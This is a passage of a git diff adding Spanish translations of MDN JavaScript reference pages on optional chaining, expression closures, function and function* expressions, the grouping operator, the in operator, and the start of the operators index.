+<p>Por ejemplo, considere un objeto <code>obj</code> que tiene una estructura anidada. Sin encadenamiento opcional, buscar una subpropiedad profundamente anidada requiere validar las referencias intermedias, como:</p>
+
+<pre class="brush: js">let nestedProp = obj.first &amp;&amp; obj.first.second;
+</pre>
+
+<p>Se confirma que el valor de <code>obj.first</code> no es <code>null</code> (y no es <code>undefined</code>) antes de acceder al valor de <code>obj.first.second</code>. Esto evita el error que ocurriría si simplemente accediera a <code>obj.first.second</code> directamente sin probar <code>obj.first</code>.</p>
+
+<p>Sin embargo, con el operador de encadenamiento opcional (<code>?.</code>), No tiene que probar explícitamente, ni realizar una evaluación de circuito corto basada en el estado de <code>obj.first</code> antes de intentar acceder a <code>obj.first.second</code>:</p>
+
+<pre class="brush: js">let nestedProp = obj.first?.second;
+</pre>
+
+<p>Al usar el operador <code>?.</code> en lugar de solo el <code>.</code>, JavaScript sabe verificar implícitamente para asegurarse de que <code>obj.first</code> no es <code>null</code> o <code>undefined</code> antes de intentar acceder  <code>obj.first.second</code>. Si <code>obj.first</code> es <code>null</code> o <code>undefined</code>, la expresión hace una evaluación de circuito corto automáticamente y retorna <code>undefined</code>.</p>
+
+<p>Esto es equivalente a lo siguiente, excepto que la variable temporal es de hecho no creada:</p>
+
+<pre class="brush: js">let temp = obj.first;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
+</pre>
+
+<h3 id="Encadenamiento_opcional_con_llamadas_a_funciones">Encadenamiento opcional con llamadas a funciones</h3>
+
+<p>Puede usar el encadenamiento opcional cuando intente llamar a un método que puede no existir. Esto puede ser útil, por ejemplo, cuando se usa una API en la que un método podría no estar disponible, ya sea debido a la antigüedad de la implementación o debido a una característica que no está disponible en el dispositivo del usuario.</p>
+
+<p>El uso de encadenamiento opcional con llamadas a funciones hace que la expresión regrese automáticamente <code>undefined</code> en lugar de lanzar una excepción si no se encuentra el método:</p>
+
+<pre class="brush: js">let result = someInterface.customMethod?.();</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Si hay una propiedad con ese nombre y que no es una función, usar <code>?.</code> aún levantará una excepción {{JSxRef("TypeError")}} (<code>x.y</code><code> is not a function</code>).</p>
+</div>
+
+<h4 id="Manejo_de_callbacks_opcionales_o_manejadores_de_eventos">Manejo de callbacks opcionales o manejadores de eventos</h4>
+
+<p>Si utiliza callbacks o métodos de recuperación de un objeto con<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring"> una asignación de desestructuración</a>, es posible que tenga valores inexistentes que no puede llamar como funciones a menos que haya probado su existencia. Usando <code>?.</code>, Puede evitar esta prueba adicional:</p>
+
+<pre class="brush: js">// Escrito a partir de ES2019
+function doSomething(onContent, onError) {
+  try {
+    // ... hacer algo con los datos
+  }
+  catch (err) {
+    if (onError) { // Probando si onError realmente existe
+      onError(err.message);
+    }
+  }
+}
+</pre>
+
+<pre class="brush: js">// Usando encadenamiento opcional con llamado de funciones
+function doSomething(onContent, onError) {
+  try {
+   // ... hacer algo con los datos
+  }
+  catch (err) {
+    onError?.(err.message); // Sin excepción si onError esta undefined
+  }
+}
+</pre>
+
+<h3 id="Encadenamiento_opcional_con_expresiones">Encadenamiento opcional con expresiones</h3>
+
+<p>También puede usar el operador de encadenamiento opcional al acceder a propiedades con una expresión usando <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Bracket_notation">la notación de corchetes</a>:</p>
+
+<pre class="brush: js">let nestedProp = obj?.['prop' + 'Name'];
+</pre>
+
+<h3 id="El_encadenamiento_opcional_no_es_válido_al_lado_izquierdo_de_una_asignación">El encadenamiento opcional no es válido al lado izquierdo de una asignación</h3>
+
+<pre class="brush: js"><code>let object = {};
+object?.property = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment</code></pre>
+
+<h3 id="Acceso_a_elementos_de_un_arreglo_con_encadenamiento_opcional">Acceso a elementos de un arreglo con encadenamiento opcional</h3>
+
+<pre class="brush: js">let arrayItem = arr?.[42];</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<p>Este ejemplo busca el valor de la propiedad <code>name</code> para el miembro <code>bar</code> en un mapa cuando no existe dicho miembro. El resultado es por lo tanto es <code>undefined</code>.</p>
+
+<pre class="brush: js">let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;</pre>
+
+<h3 id="Evaluación_de_circuito_corto">Evaluación de circuito corto</h3>
+
+<p>Cuando se usa el encadenamiento opcional con expresiones, si el operando izquierdo es <code>null</code> o <code>undefined</code>, la expresión no se evaluará. Por ejemplo:</p>
+
+<pre class="brush: js">let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // 0 como x no se incrementó
+</pre>
+
+<h3 id="Apilando_el_operador_de_encadenamiento_opcional">Apilando el operador de encadenamiento opcional</h3>
+
+<p>Con estructuras anidadas, es posible usar encadenamiento opcional varias veces:</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: {
+    age: 82,
+    location: "Paradise Falls" // "detailed address" es desconocida
+  }
+};
+let customerCity = customer.details?.address?.city;
+
+// … esto también funciona con la función opcional de encadenamiento
+let duration = vacations.trip?.getTime?.();
+</pre>
+
+<h3 id="Combinando_con_el_operador_de_fusión_nulo">Combinando con el operador de fusión nulo</h3>
+
+<p>El {{JSxRef("Operators/Nullish_Coalescing_Operator", "operador de fusión nulo", '', 1)}} se puede usar después del encadenamiento opcional para generar un valor predeterminado cuando no se encontró ninguno:</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: { age: 82 }
+};
+const customerCity = customer?.city ?? "Unknown city";
+console.log(customerCity); // Unknown city</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.optional_chaining")}}</p>
+</div>
+
+<h3 id="Progreso_de_implementación">Progreso de implementación</h3>
+
+<p>La siguiente tabla proporciona un estado de implementación diaria para esta característica, porque esta característica aún no ha alcanzado la estabilidad entre navegadores. Los datos se generan ejecutando las pruebas de características relevantes en <a href="https://github.com/tc39/test262">Test262</a>, el conjunto de pruebas estándar de JavaScript, en la compilación nocturna o la última versión del motor de JavaScript de cada navegador.</p>
+
+<div>{{EmbedTest262ReportResultsTable("optional-chaining")}}</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El {{JSxRef("Operators/Nullish_Coalescing_Operator", "Nullish Coalescing Operator", '', 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/expression_closures/index.html b/files/es/web/javascript/referencia/operadores/expression_closures/index.html
new file mode 100644
index 0000000000..76fa278728
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/expression_closures/index.html
@@ -0,0 +1,76 @@
+---
+title: Expression closures
+slug: Web/JavaScript/Referencia/Operadores/Expression_closures
+tags:
+  - Funciones
+  - JavaScript
+  - Referencia
+translation_of: Archive/Web/JavaScript/Expression_closures
+---
+<div class="warning"><strong>Non-standard. Do not use!</strong><br>
+La sintaxis de cierre de la expresion es  una caracteristica obsoleta de SpiderMonkey y <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1083458">sera removida</a>. Par usos futuros, considere usar <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funciones arrow</a>.</div>
+
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Los cierres de expresiones son una sintaxis de la función abreviada para escribir funciones simples.</p>
+
+<h2 id="Sintasis">Sintasis</h2>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
+   <em>expression</em>
+</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>El nombre  de la función. Puede ser omitido, en este caso la funcion es <em>anonima</em>.  El nombre es unicamente local para el cuerpo de la función. </dd>
+ <dt><code>parametroN</code></dt>
+ <dd>El nombre de una argumento para pasar a la función. Una funcion puede tener hasta 255 argumentos. </dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">expresión</span></font></dt>
+ <dd>La expresion que comprende el cuerpo de la función. </dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Esta  adición no es más que una abreviatura para escribir funciones simpres, dando al lenguage algo similar a un tipica <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">Notacion Lambda</a>.</p>
+
+<p>JavaScript 1.7 y superiores:</p>
+
+<pre class="brush: js">function(x) { return x * x; }</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="brush: js">function(x) x * x</pre>
+
+<p>Esta sintasis le permite dejar de lado las llaves y la declaración 'return', haciendolos implicitos. No hay ningun beneficio adicional por escribir código de esta manera, aparte de que sea sintácticamente mas corto.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una abreviatura para binding event listeners:</p>
+
+<pre class="brush: js"> document.addEventListener('click', function() false, true);
+</pre>
+
+<p>Usando esta notación con algunas de las funciones array desde JavaScript 1.6:</p>
+
+<pre class="brush: js">elems.some(function(elem) elem.type == 'text');
+</pre>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en este pagina es generada desde una estructura de datos. Si le gustaria contribuir a la data, por favor valide esto <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.operators.expression_closures")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/function/index.html b/files/es/web/javascript/referencia/operadores/function/index.html
new file mode 100644
index 0000000000..d5739239b2
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/function/index.html
@@ -0,0 +1,73 @@
+---
+title: function
+slug: Web/JavaScript/Referencia/Operadores/function
+tags:
+  - Function
+  - JavaScript
+  - Operator
+  - Primary Expressions
+translation_of: Web/JavaScript/Reference/Operators/function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El operador <code>function</code> define una función dentro de una expresión.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">function [<em>name</em>]([<em>param1</em>, <em>param2</em>, ..., <em>paramN</em>]) {
+   <em>statements</em>
+}
+</pre>
+
+<h2 id="Parameters" name="Parameters">Parámetros</h2>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>El nombre de la función. Puede ser omitido, en cuyo caso la función es <em>anonymous</em>. El nombre sólo es local para el cuerpo de la función.</dd>
+</dl>
+
+<dl>
+ <dt><code>paramN</code></dt>
+ <dd>El nombre de un argumento que será pasado a la función. Una función puede tener hasta 255 argumentos.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Las declaraciones que conforman el cuerpo de la función.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>La expresión de una función es muy similar y tiene casi la misma sintaxis que la declaración de una función (véase {{jsxref("Sentencias/function", "function")}} para más detalles). Véase <a href="/es/docs/Web/JavaScript/Referencia/Funciones">Funciones</a> para ver más información sobre las diferencias  entre declaraciones de funciones y expresiones de funciones.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>El siguiente ejemplo define una función sin nombre y se le asigna a la variable x. La función devuelve como resultado el cuadrado de su argumento:</p>
+
+<pre class="brush: js">var x = function(y) {
+   return y * y;
+};
+</pre>
+
+<h3 id="Expresión_de_función_nombrada">Expresión de función nombrada</h3>
+
+<p>Si quiere referirse a la función actual dentro del cuerpo de la función, debe crear una expresión de función nombrada. Luego, este nombre será local solo para el cuerpo de la función (alcance). Esto también evita usar la propiedad no estándar {{jsxref("Funciones/arguments/callee", "arguments.callee")}}.</p>
+
+<pre class="brush: js">var math = {
+  'factorial': function factorial(n) {
+    if (n &lt;= 1)
+      return 1;
+    return n * factorial(n - 1);
+  }
+};
+</pre>
+
+<h2 id="See_also" name="See_also">Consulte también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Funciones">Funciones</a></li>
+ <li>{{jsxref("Function")}}</li>
+ <li>Sentencias {{jsxref("Sentencias/function", "function")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/function_star_/index.html b/files/es/web/javascript/referencia/operadores/function_star_/index.html
new file mode 100644
index 0000000000..9c38872b7e
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/function_star_/index.html
@@ -0,0 +1,91 @@
+---
+title: expresión function*
+slug: Web/JavaScript/Referencia/Operadores/function*
+tags:
+  - ECMAScript 2015
+  - Expresión Primaria
+  - Function
+  - Iterator
+  - JavaScript
+  - Operator
+translation_of: Web/JavaScript/Reference/Operators/function*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La palabra clave <strong><code>function*</code></strong> puede ser utilizada para definir una función generadora en una expresión.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div>
+
+<p class="hidden">El código fuente de este ejemplo interactivo se encuentra almacenado en un repositorio GitHub. Si le gustaría contribuir al proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíenos un pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">function* [<em>nombre</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>sentencias</em>
+}</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>Nombre de la función. Puede ser omitido, en cuyo caso la funcipón es <em>anínima</em>. El nombre sólo es local al cuerpo de la función.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Nombre de un parámetro a ser pasado a la función. Una función puede tener hasta 255 argumentos.</dd>
+ <dt><code>sentencias</code></dt>
+ <dd>Sentencias que componen el cuerpo de la función.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Una expresión <code>function*</code> es muy similar y tiene casi la misma sintaxis que una {{jsxref('Statements/function*', 'function* statement')}}. La principal diferencia entre una expresión <code>function*</code> y una sentencia <code>function*</code> es el <em>nombre de la función</em>, que en expresiones <code>function*</code> puede ser omitido para creaar funciones generadoras <em>anónimas</em>. Para más información vea también el capítulo acerca de <a href="/en-US/docs/Web/JavaScript/Reference/Functions">funciones</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente ejemplo define una función generadora sin nombre y la asigna a <code>x</code>. La función produce el cuadrado de su argumento:</p>
+
+<pre class="brush: js">var x = function*(y) {
+   yield y * y;
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si usted desea contribuir a esos datos, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("javascript.operators.function_star")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "Sentencia function*")}}</li>
+ <li>Objeto {{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Iteration_protocols">El protocolo iterable</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>Objeto {{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "Sentencia function")}}</li>
+ <li>{{jsxref("Operators/function", "Expresión function")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Funciones y alcance de funciones")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/grouping/index.html b/files/es/web/javascript/referencia/operadores/grouping/index.html
new file mode 100644
index 0000000000..ec78e8518f
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/grouping/index.html
@@ -0,0 +1,128 @@
+---
+title: Operador de agrupación
+slug: Web/JavaScript/Referencia/Operadores/Grouping
+tags:
+  - Expresiones primarias
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators/Grouping
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de agrupación <code>( )</code> controla la precedencia de las expresiones a evaluar.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"> ( )</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El operador de agrupación consiste en un par de paréntesis alrededor de la expresión (o sub-expresión) que sobrescribe el comportamiento por defecto de la <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">precedencia de operadores</a>, lo que causa que expresiones con menor precedencia puedan ser evaluadas antes que expresiones con una mayor precedencia.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Sobrescribir la precedencia de operadores aritméticos por defecto para que se evalúe primero la adición y luego la multiplicación.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// precedencia por defecto
+a + b * c     // 7
+// es evaluada por defecto como:
+a + (b * c)   // 7
+
+// ahora se sobrescribe la precedencia
+// para que la adición se evalúe antes que la multiplicación
+(a + b) * c   // 9
+
+// que es equivalente a:
+a * c + b * c // 9
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Estándar</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Precedencia de operadores</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/in/index.html b/files/es/web/javascript/referencia/operadores/in/index.html
new file mode 100644
index 0000000000..051056a25f
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/in/index.html
@@ -0,0 +1,139 @@
+---
+title: in
+slug: Web/JavaScript/Referencia/Operadores/in
+tags:
+  - JavaScript
+  - Operator
+  - Relational Operators
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>El <strong>operador <code>in</code></strong> devuelve <code>true</code> si la propiedad especificada está en el objeto especificado o su prototipo.</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre><code><em>prop</em> in <em>object</em></code></pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Una cadena o expresión númerica que representa el nombre de una propiedad o el índice de un array (lo que no sea un símbolo se forzará a string).</dd>
+</dl>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>El objeto (o su cadena de prototipo) sobre el que comprobar si contiene la propiedad con el nombre especificado.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Los siguientes ejemplos muestran algunos de los usos del operador <code>in</code>.</p>
+
+<pre class="brush:js">// Arrays
+var arboles = new Array("secoya", "pino", "cedro", "roble", "arce");
+0 in arboles        // devuelve true
+3 in arboles        // devuelve true
+6 in arboles        // devuelve false
+"pino" in arboles   // devuelve false (debe especificar el número de índice,
+                    // no el valor del índice)
+"length" in arboles // devuelve true (length es una propiedad de Array)
+
+// Objetos predefinidos
+"PI" in Math        // devuelve true
+
+// Objetos personalizados
+var micoche = {marca: "Honda", modelo: "Accord", año: 1998};
+"marca" in micoche  // devuelve true
+"modelo" in micoche // devuelve true
+</pre>
+
+<p>Debe especificar un objeto en el lado derecho del operador <code>in</code>. Por ejemplo, puede especificar una cadena creada con el constructor <code>String</code> , pero no puede especificar una cadena literal.</p>
+
+<pre class="brush:js">var color1 = new String("verde");
+"length" in color1 // devuelve true
+
+var color2 = "coral";
+"length" in color2 // genera un error (color2 no es un objeto String)
+</pre>
+
+<h3 id="Using_in_with_deleted_or_undefined_properties" name="Using_in_with_deleted_or_undefined_properties">Usando <code>in</code> con propiedades eliminadas o no definidas</h3>
+
+<p>Si se elimina una propiedad con el operador {{jsxref("Operadores/delete", "delete")}}, el operador <code>in</code> devuelve <code>false</code> para esa propiedad.</p>
+
+<pre class="brush:js">var micoche= {marca: "Honda", modelo: "Accord", año: 1998};
+delete micoche.marca;
+"marca" in micoche;  // devuelve false
+
+var arboles = new Array("secoya", "pino", "cedro", "roble", "arce");
+delete arboles[3];
+3 in arboles; // devuelve false
+</pre>
+
+<p>Si se cambia una propiedad a {{jsxref("Objetos_globales/undefined", "undefined")}} pero no se elimina, el operador <code>in</code> devuelve true para esa propiedad.</p>
+
+<pre class="brush:js">var micoche = {marca: "Honda", modelo: "Accord", año: 1998};
+micoche.marca = undefined;
+"marca" in micoche;  // devuelve true
+</pre>
+
+<pre class="brush:js">var arboles = new Array("secayo", "pino", "cedro", "roble", "arce");
+arboles[3] = undefined;
+3 in arboles; // devuelve true
+</pre>
+
+<h3 id="Inherited_properties" name="Inherited_properties">Propiedades heredadas</h3>
+
+<p>El operador <code>in</code> devuelve <code>true</code> para propiedades en la cadena del prototipo.</p>
+
+<pre class="brush:js">"toString" in {}; // devuelve true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.4.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.in")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><code><a href="/es-ES/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code></li>
+ <li><code><a href="/es-ES/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/index.html b/files/es/web/javascript/referencia/operadores/index.html
new file mode 100644
index 0000000000..dca4964faa
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/index.html
@@ -0,0 +1,280 @@
+---
+title: Expresiones y operadores
+slug: Web/JavaScript/Referencia/Operadores
+tags:
+  - Descripción
+  - JavaScript
+  - Operadores
+  - Operators
+  - Referencia
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators", "Operadores")}}</div>
+
+<p class="summary">Este capítulo documenta todos los operadores, expresiones y palabras clave del lenguaje JavaScript.</p>
+
+<h2 id="Expresiones_y_operadores_por_categoría">Expresiones y operadores por categoría</h2>
+
+<p>Para obtener una lista alfabética, consulta la barra lateral de la izquierda.</p>
+
+<h3 id="Expresiones_primarias">Expresiones primarias</h3>
+
+<p>Palabras clave básicas y expresiones generales en JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/this", "this")}}</dt>
+ <dd>La palabra clave <code>this</code> se refiere a una propiedad especial de un contexto de ejecución.</dd>
+ <dt>{{jsxref("Operators/function", "function")}}</dt>
+ <dd>La palabra clave <code>function</code> define una expresión de función.</dd>
+ <dt>{{jsxref("Operators/class", "class")}}</dt>
+ <dd>La palabra clave <code>class</code> define una expresión de clase.</dd>
+ <dt>{{jsxref("Operators/function", "function")}}</dt>
+ <dd>La palabra clave <code>function*</code> define una expresión de función generadora.</dd>
+ <dt>{{jsxref("Operators/yield", "yield")}}</dt>
+ <dd>Pausar y reanudar una función generadora.</dd>
+ <dt>{{jsxref("Operators/yield*", "yield*")}}</dt>
+ <dd>Delegar a otra función generadora u objeto iterable.</dd>
+ <dt>{{jsxref("Operators/async_function", "async function")}}</dt>
+ <dd>La <code>async function</code> define una expresión de función asíncrona.</dd>
+ <dt>{{jsxref("Operators/await", "await")}}</dt>
+ <dd>Pausa y reanuda una función asíncrona y espera la resolución/rechazo de la promesa.</dd>
+ <dt>{{jsxref("Global_Objects/Array", "[]")}}</dt>
+ <dd>Iniciador de arreglo/sintaxis literal.</dd>
+ <dt>{{jsxref("Operators/Object_initializer", "{}")}}</dt>
+ <dd>Iniciador de objeto/sintaxis literal.</dd>
+ <dt>{{jsxref("Global_Objects/RegExp", "/ab+c/i")}}</dt>
+ <dd>Sintaxis de expresión regular literal.</dd>
+ <dt>{{jsxref("Operators/Grouping", "( )")}}</dt>
+ <dd>Operador de agrupación.</dd>
+</dl>
+
+<h3 id="Expresiones_del_lado_izquierdo">Expresiones del lado izquierdo</h3>
+
+<p>Los valores de la izquierda son el destino de una asignación.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Property_accessors", "Propiedad accessors", "", 1)}}</dt>
+ <dd>Los operadores miembro proporcionan acceso a una propiedad o método de un objeto<br>
+ (<code>object.property</code> y <code>object["property"]</code>).</dd>
+ <dt>{{jsxref("Operators/new", "new")}}</dt>
+ <dd>El operador <code>new</code> crea una instancia auxiliado por un constructor.</dd>
+ <dt>{{jsxref("Operators/new%2Etarget", "new.target")}}</dt>
